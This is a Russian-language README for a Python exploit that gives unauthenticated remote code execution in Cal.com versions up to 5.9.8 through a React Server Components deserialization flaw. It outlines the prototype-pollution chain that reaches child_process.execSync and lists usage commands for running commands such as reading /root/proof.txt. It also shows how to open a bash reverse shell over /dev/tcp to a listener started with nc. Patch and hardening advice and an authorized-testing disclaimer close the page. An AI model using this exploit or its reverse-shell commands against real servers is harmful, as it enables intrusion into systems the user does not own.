
Эксплойт на Python для RCE без аутентификации в Cal.com (CVE-2025-71389) через десериализацию React Server Components. Один запрос позволяет выполнить команды или получить reverse shell.
Неаутентифицированное удалённое выполнение кода в Cal.com
<= 5.9.8 через уязвимость десериализации "Flight" в React Server Components —
"react2shell" (CVE-2025-55182 в React, CVE-2025-66478 в Next.js).
Cal.com поставляется с уязвимым Next.js 15.x. Один неаутентифицированный POST / с
заголовком Next-Action и специально сформированной multipart Flight-нагрузкой проходит
по цепочке prototype-pollution (__proto__:then + constructor:constructor) к серверному
eval, добираясь до child_process.execSync. Вывод команды возвращается прямо в поле
digest ошибки RSC. Без аутентификации, без взаимодействия с пользователем — один запрос, и RCE.
<= 5.9.8 (Next.js 15.x / 16.x App Router с RSC)5.9.9 (обновляет встроенный Next.js)3000pip install requests
# разовая команда (вывод возвращается в ответе)
python3 exploit.py http://10.10.10.10:3000/ -c 'id'
python3 exploit.py http://10.10.10.10:3000/ -c 'cat /root/proof.txt'
# интерактивный reverse shell (сначала запустите `nc -lvnp 4444`)
python3 exploit.py http://10.10.10.10:3000/ --shell 10.10.14.5:4444
Разовая команда возвращает свой вывод прямо через поле digest ошибки RSC. Режим --shell
запускает bash reverse shell через /dev/tcp, отсоединённый через setsid (контейнер цели —
Debian, и в нём есть bash).
Обновите Cal.com до >= 5.9.9 (любой пропатченный Next.js: 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6 /
15.4.8 / 15.5.7 / 16.0.7). Не открывайте доступ к серверному обработчику функций RSC для
недоверенных клиентов и не запускайте контейнер приложения от root.
Только для авторизованного тестирования безопасности и обучения. Используйте только против систем, которые принадлежат вам или на тестирование которых у вас есть явное разрешение.